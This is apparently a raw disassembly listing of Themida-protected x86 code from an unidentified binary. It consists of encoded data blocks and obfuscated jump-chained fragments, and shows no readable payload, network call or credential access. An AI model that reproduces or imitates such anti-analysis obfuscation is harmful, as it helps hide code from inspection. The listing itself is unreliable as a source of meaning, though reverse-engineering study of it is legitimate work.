686625B2h, 89660D75h, 90E9241Ch, 5200004Dh dd 0FB1508BAh, 0E9D63163h, 0FFFFBABCh, 6F1E68h, 242C8900h dd 4F0596BDh, 49FEE93Ch, 0BD55FFFFh, 33C77BDBh, 6894F581h dd 0C581422Dh, 1D6142ABh, 100EED81h, 0E8291C8Ah, 6F97E95Dh dd 0C885FFFFh, 3478E99Ch, 81B9FFFFh, 8139557Bh, 2B3F59E9h dd 7339E966h, 4BAFFFFh, 29000000h, 0C875AD1h, 24248B24h dd 0BB241C89h, 155A428Ah, 0E9D0F793h, 0FFFF6A63h, 0FFFFC281h dd 42E9FFFFh db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E2AF: ; CODE XREF: Themida_:00560F0Aj mov al, dl mov bh, al pop eax pop edx mov ch, bh pop bx jmp loc_564007 ; --------------------------------------------------------------------------- loc_55E2BE: ; CODE XREF: Themida_:00564512j mov ecx, [esp] push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx jmp loc_55AF43 ; --------------------------------------------------------------------------- db 68h, 4Ch, 78h dd 1C890000h, 875BE924h, 0E9520000h, 0FFFFA0D8h, 905CB8BFh dd 4EC833Ah, 0E9240489h, 0FFFFBE38h, 0BE56D8F7h, 2FEC3D84h dd 7361E9h, 8F27B800h, 0D801C5D1h, 83241C8Bh, 0C20104C4h dd 6824048Bh, 5AE8h, 54243489h, 4C6815Eh, 81000000h, 4C6h dd 24348700h, 6824248Bh, 1E51h, 0BB241C89h, 36872A0Ah dd 0DBF7DBF7h, 6756EB81h, 0DBF72011h, 0FF93CEE9h, 81C281FFh dd 58752138h, 33E0E9h, 81E68900h, 4ECh, 241C8900h, 2655B2BBh dd 15F3812Fh, 0E90EFD18h, 0FFFFCAFFh ; --------------------------------------------------------------------------- loc_55E374: ; CODE XREF: Themida_:0055EB7Cj push edi mov edi, 3DF50B47h jmp loc_55D4A8 ; --------------------------------------------------------------------------- loc_55E37F: ; CODE XREF: Themida_:00551FC0j add al, 33h xor al, 0AAh jmp loc_56494E ; --------------------------------------------------------------------------- dd offset loc_54AE63+5 dd 2B50E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E392: ; CODE XREF: Themida_:00560E87j mov esi, ebx jmp loc_557F26 ; --------------------------------------------------------------------------- db 29h, 0C1h, 58h dd 104CE981h, 505B230Ch, 4CEE68h, 2155E900h, 0C4810000h dd 4, 3AF4C781h, 0D7011499h, 3AF4EF81h, 0C7811499h, 24C17038h dd 4EC835Ah, 0BA241489h, 2, 3D89C781h, 0D7012C9Eh, 8ABE9h dd 5EF00900h, 796AB82Dh, 0ADBA5277h, 0E912D056h, 2158h dd 5DEF0158h, 8B243C87h, 0FF522424h, 5A042474h, 8B24048Fh dd 4892424h, 32DCE924h, 0CD68FFFFh, 89000047h, 0E954243Ch dd 0FFFF6709h, 81241C8Bh, 4C4h, 24048F00h, 6624248Bh, 2404BB0Fh dd 32B4E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E43A: ; CODE XREF: Themida_:00562569j mov esp, [esp] push 704Ch mov [esp], ebp mov ebp, 37266E2Dh not ebp or ebp, 24CC3B4Dh and ebp, 33946486h jmp loc_555ACE ; --------------------------------------------------------------------------- loc_55E45D: ; CODE XREF: Themida_:00559FA3j pop edx jmp loc_558884 ; --------------------------------------------------------------------------- db 57h dd 0AB5AFBBFh, 3A30E930h, 665C0000h, 51241C89h, 67E9F588h db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E47B: ; CODE XREF: Themida_:00563A11j push 1A6Fh mov [esp], esi jmp loc_558E1D ; --------------------------------------------------------------------------- dd 8F04C483h, 835C2404h, 3C8904ECh, 56E78924h, 6E62DABEh dd 81DEF769h, 0AE672FEEh, 3AE9575Bh, 81000079h, 657D0BC3h dd 5B4AE9ADh, 1660000h, 0C0566F8h, 2434FF52h, 83243C8Bh dd 895704C4h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 4A9AE95Ch dd 0EC81FFFFh, 4, 0E9240489h, 60B7h ; --------------------------------------------------------------------------- loc_55E4EC: ; CODE XREF: Themida_:005535DBj mov ebx, [esp] jmp loc_5588AD ; --------------------------------------------------------------------------- dd 0BF57FB87h, 4F3F3FCAh, 5F4BE9h, 2434FF00h, 0FCB4E95Bh dd 0D2F6FFFFh, 0D488C2FEh, 2376E9h, 81E68900h, 4C6h, 4EE8300h dd 5C243487h, 56240489h, 0FF84BEE9h, 609B68FFh, 0E2E90000h dd 4E00005Ch, 1895EE81h, 0F1019871h, 34DE9h, 69BE6600h dd 0EE81665Dh, 0EEE9301Eh db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E553: ; CODE XREF: Themida_:00553751j add ebx, eax add ebx, 4A744668h pop eax shr ebx, 7 sub ebx, 242400h add ebp, ebx jmp loc_55C374 ; --------------------------------------------------------------------------- dd 4EC81h, 0AAE90000h, 57000043h, 0C7815F54h, 4, 2EF81h dd 3C330000h, 78C6E924h, 0C87FFFFh, 3C895C24h, 3C8B5424h dd 8FA2E924h, 8159FFFFh, 15200CEDh, 246C0101h, 685B5D04h dd 7225h, 0BE243489h, 4, 0FF46D1E9h, 5A7004FFh, 0C01EB151h dd 0D1F602E1h, 8008E9C0h, 0B25287E9h, 0E9CAFEE7h, 0FFFF69C7h dd 575DE889h, 0FF419EE9h, 65B353FFh, 0E3D0DBF6h, 8804C380h dd 241C8BDCh, 4C481h, 0F4800000h, 12D7687Ch, 14890000h dd 0E9B6B224h, 0FFFFD5F2h, 5C240C33h, 629A68h, 243C8900h dd 2BB168h, 4EC8300h, 24048F54h, 4240483h, 29DEE9h db 0 ; --------------------------------------------------------------------------- loc_55E629: ; CODE XREF: Themida_:00562860j push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_56338E ; --------------------------------------------------------------------------- dd 24248B66h, 0FF30A9E9h, 2474FFFFh, 243C8B04h, 81E28952h dd 4C2h, 4C28100h, 87000000h, 6CE92414h, 5B000032h, 0FFD3ADE9h dd 1C895CFFh, 3D685124h, 59188048h, 0F705E1C1h, 4E9C1D9h dd 6F84E981h, 0CB890EFFh, 5BD80159h, 31240433h, 4332404h dd 24248B24h, 0E9028864h, 0FFFF3052h, 164168h, 24048900h dd 2B8h, 0E9C78900h, 7B8Bh, 24048B66h, 2C8B5455h, 4C48324h dd 86BB5351h, 0B9172F6Dh, 0E8D0927Eh, 15BD901h, 8FE959CDh dd 1000061h, 57BD55F3h, 0E9475751h, 0FFFF7CA2h, 61322ABEh dd 4F7E948h, 0C15E0000h, 95E906E6h, 0FF000043h, 0FF042474h dd 48B2434h, 0E1895124h, 4C181h, 0C1830000h, 240C3304h dd 0E9240C31h, 0FFFFFEF4h, 4C48358h, 8B24048Fh, 8B662424h dd 0A668240Ch, 89000018h, 0E789243Ch, 552668h, 24048900h dd 0B6E95355h, 66000067h, 661C2168h, 88241489h, 245C8ADEh dd 24748802h, 6EE6E902h, 0C5810000h, 6F4C30F1h, 5DD68h dd 24148900h, 0BE484368h, 0EA815A63h, 3C6F5605h, 0C781FA87h dd 1, 0C281FA87h, 6CF40B02h, 0FF3B25E9h, 0AD685BFFh, 89000041h dd 74FF2404h, 8F580424h, 0BEE92404h, 89FFFF33h, 24048BC3h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFF3F30h ; --------------------------------------------------------------------------- loc_55E7B4: ; CODE XREF: Themida_:0055811Ej mov [esp], dx push ax pushf jmp loc_5516EE ; --------------------------------------------------------------------------- dd 405h, 3E95300h, 83000027h, 0EC8104C4h, 4, 629AE9h, 81E68900h dd 4C6h, 0A949E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E7E6: ; CODE XREF: Themida_:00563B61j xor ecx, 0DDD5A233h and ebx, ecx jmp loc_562382 ; --------------------------------------------------------------------------- db 66h dd 283BB551h, 59BFE9EAh, 0C381FFFFh, 66DC0D37h, 5624348Bh dd 4DCBE9h, 64ADBD00h, 6C012D65h, 0E95D0424h, 0FFFF2ED2h ; --------------------------------------------------------------------------- loc_55E81C: ; CODE XREF: Themida_:00556C39j push 6BC7h mov [esp], ecx jmp loc_56541D ; --------------------------------------------------------------------------- db 68h, 32h, 26h dd 0C890000h, 4AEAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E836: ; CODE XREF: Themida_:0055CC65j xor ebx, edi pop edi add ebx, 268D448Ch xor ebx, 5C6A70EEh push edx mov edx, 499B1175h shr edx, 7 inc edx add edx, 0FD1E415Fh xor ebx, edx pop edx sub esi, ebx jmp loc_551B68 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 8B241487h, 0F662424h, 5166C8AFh, 2E74E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E87A: ; CODE XREF: Themida_:00558489j add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebx mov ebx, 4 jmp loc_561F77 ; --------------------------------------------------------------------------- dw 815Eh dd 4C1h, 240C3300h, 33240C31h, 248B240Ch, 3A3BE924h, 0E953FFFFh dd 0FFFFD1BCh ; --------------------------------------------------------------------------- loc_55E8B0: ; CODE XREF: Themida_:005592DCj pop edx add al, 0D9h add al, 31h sub al, ch sub al, 31h push ecx mov ch, 0D9h jmp loc_5643A0 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Bh, 0E9000000h, 0FFFF5B44h, 81595451h, 4ECh, 24348900h dd 576D1BBEh, 2145E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E8E6: ; CODE XREF: Themida_:0056013Cj mov edi, 3F7955E6h jmp loc_557A9D ; --------------------------------------------------------------------------- dd 2444815Bh, 0CE62CF04h, 246C8139h, 746D9A04h, 24440115h dd 24448104h, 746D9A04h, 834AE915h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E912: ; CODE XREF: Themida_:0055248Ej xor eax, 328421E5h add esi, eax jmp loc_56308B ; --------------------------------------------------------------------------- dw 0F281h dd 8ED11EDAh, 0D1E9D601h, 5000042h, 0E83BE085h, 0FF5320E9h dd 2D95BAFFh, 0B6E96600h, 81000076h, 0AE0F7BEBh, 0E9EB290Bh dd 0FFFFB3DBh, 984E4768h, 24048B34h, 4C481h, 47350000h dd 6834984Ch, 3BD9h, 68243C89h, 3C31h, 8B240489h, 0C481243Ch dd 4, 4EC81h, 2C890000h, 4CFE6824h, 3C890000h, 0EE895D24h dd 243C8B5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 62DE6D16h jmp loc_55894E ; --------------------------------------------------------------------------- aSzn db '[éZn',0 align 2 dw 0F581h dd 23D0131Bh, 0FFABCBE9h, 5AD389FFh, 0FAABD55h, 0CD810EDCh dd 356334A4h, 0FF423CE9h, 4EC83FFh, 54240489h, 0E924048Bh dd 0FFFFEE45h, 0FF243489h, 8B042474h, 54552434h, 4C5815Dh dd 50000000h, 4B8h, 0E9C50100h, 0FFFF9C80h, 2D8968h, 24248900h dd 0FF7F78E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA05: ; CODE XREF: Themida_:0055887Fj mov ecx, 70EE10E2h not ecx shl ecx, 6 push ebp mov ebp, 0FFFFFFFFh sub ecx, ebp jmp loc_552A1E ; --------------------------------------------------------------------------- dd 0E924148Bh, 69h, 4C181h, 0C870000h, 24248B24h, 7AC7BF57h dd 0F8313BD0h, 5F2434FFh, 650168h, 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55922C ; --------------------------------------------------------------------------- dw 815Ah dd 864196EDh, 52F50138h, 3A1E86BAh, 0E94A4217h, 4C6Dh ; --------------------------------------------------------------------------- loc_55EA68: ; CODE XREF: Themida_:00560FDFj xchg ebp, [esp] pop esp mov [esp], esi mov esi, 7CD930D5h dec esi not esi inc esi sub esi, 516CAC47h mov ebp, esi pop esi sub ebp, 31A361ADh push esi jmp loc_55FE7F ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FF4912E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA95: ; CODE XREF: Themida_:005554F1j pop edi add ecx, edx add ecx, 22F218B1h pop edx jmp loc_564D37 ; --------------------------------------------------------------------------- dd 0BF57C331h, 33340EBEh, 0CF81DFF7h, 66D702C6h, 5A6BE9h dd 24148900h, 0C281E289h, 4, 0FF3BBEE9h, 24248BFFh, 0BE243489h dd 66C8329Ch, 68h, 24342900h, 0FFFC09E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EAE1: ; CODE XREF: Themida_:0055C5B6j xchg esi, [esp] pop esp push esp pop dword ptr [esp] push edi push ebp push 3A21543Ch pop ebp and ebp, 423D0F3Ch and ebp, 4C6654D1h push edx mov edx, 78FE11B9h jmp loc_559F9B ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 4EA81h, 14E90000h, 68FFFF73h, 549Fh dd 56243489h, 0C6815E54h, 4, 0FF7C25E9h, 48C781FFh, 8172B64Fh dd 502FEEEFh, 241C8B6Ch, 660F68h, 241C8900h, 3EE95B54h dd 0B8FFFF65h, 71727465h, 29C1E9h, 295DBF00h, 0FD017932h dd 52C5295Fh, 32295DBAh, 5AD52979h, 0FF4215E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EB71: ; CODE XREF: Themida_:005653E9j mov esp, [esp] push 0EB9h mov [esp], ecx jmp loc_55E374 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 44ADE95Bh, 0DFBEFFFFh, 0F763940Fh, 51F681D6h, 81021377h dd 0BBBADFF6h, 5EF029E5h, 0C20782Dh, 5C80105h, 50C2078h dd 0C33DAE05h, 2992E97Bh, 68550000h, 524D0A2Eh, 83242C8Bh dd 0BE5604C4h, 0D85FB94Ch, 0BA8ED81h, 0C58177FFh, 323834CBh dd 0FF8696E9h, 0C39D61FFh, 0FF3631E9h, 5EF109FFh, 3ADFBA52h dd 0B850269Ah, 5D8229C9h, 20BFBB53h, 0F74B3C74h, 8EBC1D3h dd 82ACF381h, 0D8312354h, 0BC17E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC0A: ; CODE XREF: Themida_:00561FE9j add edx, ecx pop ecx add edx, 4 xchg edx, [esp] jmp loc_55EE31 ; --------------------------------------------------------------------------- db 33h dd 4312404h, 24043324h, 242C895Ch, 3CD268h, 48F5400h, 24048124h dd 4, 81242C8Bh, 4C4h, 0A8BB5300h, 83016029h, 4F6801C3h dd 89000048h, 53E9240Ch db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC57: ; CODE XREF: Themida_:00560A68j mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_558B35 ; --------------------------------------------------------------------------- dd 0E9D8005Ch, 685Fh, 3D89EF81h, 335A2C9Eh, 3C31243Ch dd 243C3324h, 824248Bh, 0E99C2404h, 0FFFF2A46h ; --------------------------------------------------------------------------- loc_55ECA8: ; CODE XREF: Themida_:005627FCj xor ebp, 75CD0AE1h dec ebp xor ebp, 75C4BEDDh sub eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5516EE ; --------------------------------------------------------------------------- dw 0E381h dd 324165DEh, 0C69EE957h, 8141FFFFh, 5A6193F1h, 9EC9812Ch dd 81528D21h, 9B55A2C1h, 0A4F18138h, 81AF5A87h, 196A14C5h dd 9F8EE908h, 1C89FFFFh, 95BE5624h, 8165B212h, 8436E2F6h dd 0EE68123h, 0F763746Fh, 68B850DEh, 29524C61h, 0F38958C6h dd 0E2FCE95Eh, 0F581FFFFh, 43CA4EC8h, 33C7E581h, 0BB5322CEh dd 0FDB5EF44h, 0F5E9DD01h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED3B: ; CODE XREF: Themida_:0055726Aj xchg bl, ch inc bl push dx mov dh, bl mov bl, ch mov ch, dh jmp loc_56159B ; --------------------------------------------------------------------------- dd 874FFA87h, 71368FAh, 3C890000h, 4BFDBF24h, 0C28150ADh dd 641A3FE0h, 0EA81FA01h, 641A3FE0h, 0E9243C8Bh, 59F9h dd 3504EE81h, 0FE297CBBh, 3504C681h, 3C8B7CBBh, 4C48124h dd 83000000h, 348904ECh, 2474FF24h, 24348B04h, 726DE9h db 0 ; --------------------------------------------------------------------------- loc_55ED9D: ; CODE XREF: Themida_:0055FFA9j sub edi, 740F7671h sub edi, eax jmp loc_552A40 ; --------------------------------------------------------------------------- dw 0DA88h dd 8B66585Bh, 0C481241Ch, 2, 0FFD0BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EDBD: ; CODE XREF: Themida_:0055FE85j mov ecx, 0EF95A76h add ecx, 31F1CB18h add esi, ecx pop ecx sub esi, 83164572h or ebp, esi pop esi jmp loc_55F781 ; --------------------------------------------------------------------------- db 0BDh, 8Fh, 1 dd 0C5813109h, 7078D6A4h, 105FE9h, 5AD50100h, 68E28952h dd 0FBEh, 3FFDE9h, 0D6E95500h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EDFF: ; CODE XREF: Themida_:00561F48j add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] shr eax, 18h xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx push ebx not dword ptr [esp] mov ebx, [esp] push edx mov edx, esp add edx, 4 jmp loc_55EFBB ; --------------------------------------------------------------------------- loc_55EE31: ; CODE XREF: Themida_:0055EC16j pop esp add esp, 4 push 4ADAh jmp loc_566366 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041966h, 289CE99Ch, 0CA01FFFFh, 83240C8Bh dd 0EA8304C4h, 0F1ABE904h, 0C31FFFFh, 240C3324h, 68240C31h dd 57Ah, 68240C89h, 4A5Fh, 0E9242C89h, 0FFFFA4B7h ; --------------------------------------------------------------------------- loc_55EE80: ; CODE XREF: Themida_:00566958j mov [esp], esi mov esi, 27E261AAh push 0 add dword ptr [esp], 29C65DBEh jmp loc_55F739 ; --------------------------------------------------------------------------- loc_55EE99: ; CODE XREF: Themida_:00563BEFj xor edx, 3C7A2202h add ecx, edx pop edx add ecx, 4 jmp loc_5616D8 ; --------------------------------------------------------------------------- loc_55EEAD: ; CODE XREF: Themida_:0055FFC4j add ecx, 0A2323BF5h sub ebp, ecx pop ecx pop eax push ecx push esi push eax mov eax, 4C4557C6h mov esi, eax pop eax dec esi not esi jmp loc_561A4B ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 47EBF381h, 0DEE90040h, 0BF000021h, 23C72262h dd 815FFB01h, 1D499DF3h, 95C28130h, 8117173Fh, 5B5426C2h dd 0E9DA0143h, 37DFh, 4B7C3DBDh, 0ED814D08h, 39BD620Bh dd 0C581D5F7h, 40AD201Eh, 0C34CED81h, 0EA210DAEh, 2E2C15Dh dd 87CBF57h, 0FA299041h, 0FF6070E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF29: ; CODE XREF: Themida_:00562624j dec ebp jmp loc_55BD5C ; --------------------------------------------------------------------------- db 5Ch dd 0FFE54AE9h, 0FEF581FFh, 89A3B8B3h, 7815E9E8h, 4830000h dd 148B0424h, 4EC8124h, 89000000h, 0E2892414h, 7163E9h db 0 ; --------------------------------------------------------------------------- loc_55EF59: ; CODE XREF: Themida_:0055D1E6j mov ah, ch pop ecx jmp loc_5568AB ; --------------------------------------------------------------------------- db 5Eh, 81h, 0F5h dd 7209C6BDh, 0E95DEE01h, 0FFFF7BD6h, 0EA81CA01h, 2F463280h dd 5B61E9h, 0E3895300h, 4C381h, 0CCE90000h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF8B: ; CODE XREF: Themida_:00553FD5j pop ebx push 1FDDh mov [esp], ecx jmp loc_560681 ; --------------------------------------------------------------------------- db 0BDh, 98h, 3Ah dd 0E9290C00h, 0FFD5CAE9h, 14F755FFh, 0EA875D24h, 5D241487h dd 0CD31E931h, 0FE9E931h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EFBB: ; CODE XREF: Themida_:0055EE2Cj add edx, 4 xchg edx, [esp] pop esp push 55D0h jmp loc_55D421 ; --------------------------------------------------------------------------- dd 6A64F72Dh, 57E80127h, 0B5BE9h, 0E932FF00h, 0FFFF270Eh ; --------------------------------------------------------------------------- loc_55EFE0: ; CODE XREF: Themida_:005548B4j mov cl, bh jmp loc_55BF9E ; --------------------------------------------------------------------------- aEbaMUsF db 'EíÝMìUéÐf',0 dw 8100h dd 4C3h, 4EB8300h, 5C241C87h, 54241489h, 4C2815Ah, 53000000h dd 9E1EEEBBh, 0AC31E964h, 48FFFFFh, 26D0E924h, 28FFFFFh dd 0FF9C32E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F025: ; CODE XREF: Themida_:00560DA4j mov [esp], edi jmp loc_554484 ; --------------------------------------------------------------------------- db 1, 0C8h, 8Bh dd 8953240Ch, 4C381E3h, 81000000h, 4ECh, 24348900h, 4BEh dd 3E3AE900h, 815FFFFFh, 4C7h, 4EF8100h, 87000000h, 0CCE9243Ch dd 0FFFFFFFEh, 56592404h, 0A04C4F68h, 3549E96Fh, 0F2010000h dd 49BDE9h, 0CB895300h, 595BDF89h, 0CA9BF57h, 7C016EB6h dd 0BEE90824h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F08F: ; CODE XREF: Themida_:005652AFj pop ecx add ebx, 365F26DAh sub ebx, edi push edx mov edx, 365F26DAh sub ebx, edx pop edx push dword ptr [esp] mov edi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_558D62 ; --------------------------------------------------------------------------- loc_55F0C4: ; CODE XREF: Themida_:0056439Bj mov al, dh mov cl, al mov eax, [esp] jmp loc_55A9D0 ; --------------------------------------------------------------------------- dd 741DBD55h, 0ED81679Fh, 0A9EFABC1h, 0FF61D8E9h, 4B951FFh dd 0E9000000h, 0FFFF5E52h, 0EB81EB01h, 6B860BA2h, 61A7EB81h dd 0BE90EC4h, 81FFFF2Eh, 4C5h, 0C3A1E900h, 248BFFFFh, 4042E924h dd 0E6BE0000h, 810A7563h, 546D8AEDh, 5DB3E93Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F122: ; CODE XREF: Themida_:0055A582j sub ebx, 0C999878Ch and ebp, ebx jmp loc_55A275 ; --------------------------------------------------------------------------- db 66h dd 68241489h, 2298h, 68241C89h, 7E28h, 0E9241489h, 56C7h dd 89243C89h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 6824248Bh dd 500Ah, 68241489h, 28E3h, 68242C89h, 184E78EAh, 81242C8Bh dd 4C4h, 4815500h, 0A330BB24h, 2434FF25h, 4C4835Ah, 30BBEA81h dd 815D25A3h, 51ECBC2h, 0BA52554Bh, 4D3226C6h, 15AD589h dd 2A2BE9E8h, 0E7890000h, 0FFE799E9h, 48B66FFh, 4EC8324h dd 89243C89h, 4C781E7h, 81000000h, 4ECh, 24148900h, 0F8E95253h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F1D3: ; CODE XREF: Themida_:005617BBj mov bl, 7Ch or bl, 0E0h jmp loc_563A16 ; --------------------------------------------------------------------------- loc_55F1DD: ; CODE XREF: Themida_:0055DE4Ej add ebp, 4 add ebp, 4 jmp loc_552C94 ; --------------------------------------------------------------------------- dw 0E0C1h dd 0C8040502h, 0D5E9B144h, 1FFFFBAh, 242C8BEBh, 0E904C483h dd 0FFFF81F2h, 4C481h, 0EEC10000h, 7C06E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F216: ; CODE XREF: Themida_:00566194j mov eax, 72387709h not eax and eax, 609E5155h sub eax, 0B646928h xor eax, 70541AADh inc eax xor eax, 0B723DB36h jmp loc_55DE0E ; --------------------------------------------------------------------------- aAuvs db '€îVéº/',0 dw 8100h dd 0A27F05F6h, 12A3E96Eh, 0E0C10000h, 20BB5302h, 108DA80h dd 0C1895BD8h, 0E924048Bh, 0FFFF939Eh, 81242489h, 42404h dd 815A0000h, 4C2h, 4C28300h, 0FF7264E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F279: ; CODE XREF: Themida_:0055C38Bj mov [esp], ecx sub esp, 4 jmp loc_55C94D ; --------------------------------------------------------------------------- loc_55F284: ; CODE XREF: Themida_:0055512Bj mov ebp, 67A2AE2Dh sub eax, ebp pop ebp mov ebx, eax jmp loc_562865 ; --------------------------------------------------------------------------- loc_55F293: ; CODE XREF: Themida_:00554240j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_558669 ; --------------------------------------------------------------------------- dw 1C87h dd 65F7E924h, 0C281FFFFh, 73DD0A8Ch, 5AD7215Eh, 8904EC83h dd 0A968240Ch, 0E94B3706h, 4816h ; --------------------------------------------------------------------------- loc_55F2C4: ; CODE XREF: Themida_:00551BA8j push ecx mov ecx, 6ECC7E35h dec ecx not ecx or ecx, 67487A9Ch jmp loc_56586F ; --------------------------------------------------------------------------- loc_55F2D8: ; CODE XREF: Themida_:00557F64j xchg edi, [esp] pop esp mov [esp], edi mov edi, 22E828C8h push 0 sub dword ptr [esp], 74EE4FE0h sub dword ptr [esp], 58534AB5h sub [esp], edi add dword ptr [esp], 58534AB5h add dword ptr [esp], 74EE4FE0h pop edi push edx mov edx, 21310DA4h xor edx, 5A35371Ah add edx, 35425E12h shl edx, 1 jmp loc_560F78 ; --------------------------------------------------------------------------- dw 815Fh dd 11527CC1h, 0E9E92975h, 0FFFFE97Bh, 5DEA015Bh, 4C281h dd 9FE90000h, 66FFFF67h, 5324048Bh, 18F168h, 0C416E900h dd 0D800FFFFh, 94041904h, 21B6E9h, 24348900h, 5E240CFFh dd 8904EC83h, 52B9240Ch, 0E9A2C324h, 1681h, 31241433h dd 14332414h, 0C6835C24h, 74FF5604h, 34FF0424h, 0E9515E24h dd 0FFFF9EDBh, 5004E5C1h, 4983B951h, 81511394h, 1AE0242Ch dd 5587B51h, 7B511AE0h, 2691E959h, 54B1FFFFh, 0C828D72Ch dd 8B66D704h, 0C481240Ch, 2, 0F16BE953h, 0BE56FFFFh, 51D34F76h dd 0E903EEC1h, 0FFFFC313h, 3A73EE81h, 0DE012F31h, 3A73C681h dd 685B2F31h, 6CD3h, 51242C89h, 0EB0C26B9h, 3E9C101h, 4C0DF181h dd 0E9811EF3h, 60A24F8h, 5721F181h, 0CD892E9Eh, 51D5F759h dd 5A5FB5B9h, 0FFCD0136h, 0B5E92434h, 8B00005Ch, 0E9552434h dd 0FFFFDBDEh, 0D2601068h, 8A08E91Fh, 0FF53FFFFh, 8B042474h dd 0C481241Ch, 4, 8B24048Fh, 3EE92424h, 5AFFFF54h, 31243433h dd 34332434h, 24248B24h, 9C2424D3h, 0FF2295E9h, 68D231FFh dd 56E9h, 68240C89h, 0BF6h, 8B241C89h, 0C481240Ch, 4, 89CA8952h dd 2EE95AD0h, 54FFFFBCh, 4C18159h, 0E9000000h, 0FFFFC20Eh dd 54A2685Ah, 1C890000h, 1DEF6824h, 4890000h, 0C1B75324h dd 0B0AFB753h, 5BF8307Dh, 0B75BF828h, 0CEFEE984h, 1C33FFFFh dd 241C3124h, 5C241C33h, 5A7768h, 91F0E900h, 5C01FFFFh dd 1C8B0424h, 4C48124h, 68000000h, 2D77h, 68243C89h, 465Dh dd 0FFE864E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F4E5: ; CODE XREF: Themida_:00563CAAj add esp, 4 add esp, 4 push ecx jmp loc_551BAD ; --------------------------------------------------------------------------- dd 0B32EC105h, 23354845h, 176AF2Fh, 148B58C1h, 4C48324h dd 240C875Fh, 6624248Bh, 9C242CD3h, 0FF21D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F519: ; CODE XREF: Themida_:00554469j add esp, 4 xor esi, [esp] xor [esp], esi jmp loc_561D9E ; --------------------------------------------------------------------------- loc_55F527: ; CODE XREF: Themida_:00551D0Ej mov ecx, 36FF00BDh jmp loc_5530E1 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 8124048Fh, 42404h, 34FF0000h, 0C4815F24h dd 4, 35E95150h, 58FFFF46h, 4C181h, 0C870000h, 0D8295C24h dd 6B6C68h, 24148900h, 62EE9h db 0 ; --------------------------------------------------------------------------- loc_55F56D: ; CODE XREF: Themida_:0055189Fj sub edx, ebp pop ebp add edx, eax add edx, 1BAB10D3h sub edx, 3E3B31C5h jmp loc_566620 ; --------------------------------------------------------------------------- aS_6 db '^é¸!',0 dd 3EED8100h, 1F95809h, 0C62D5DE8h, 891A7D04h, 24048BC5h dd 5104C483h, 241403B9h, 7092E94Eh, 0E3890000h, 4C381h dd 0C3810000h, 4, 8B241C87h, 0C872424h, 56D9E924h, 6BBDFFFFh dd 29450944h, 2E958C5h, 8BFFFFD4h, 0C483243Ch, 4E6C104h dd 0F731FE87h, 0F731FE31h, 0F787D6F7h, 0F5E9FE87h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F5EF: ; CODE XREF: Themida_:005656F1j add edx, 4 xchg edx, [esp] pop esp add al, 29h jmp loc_565308 ; --------------------------------------------------------------------------- dd 4C481h, 0D6870000h, 2A4768h, 24148900h, 766068h, 24348900h dd 0FF4A39E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F61D: ; CODE XREF: Themida_:00555416j push edi mov edi, 26DB0F26h xchg ecx, edi push ecx xchg eax, [esp] not eax xchg eax, [esp] pop ecx jmp loc_5622B7 ; --------------------------------------------------------------------------- loc_55F634: ; CODE XREF: Themida_:0055C85Aj sub esp, 4 mov [esp], edx sub esp, 4 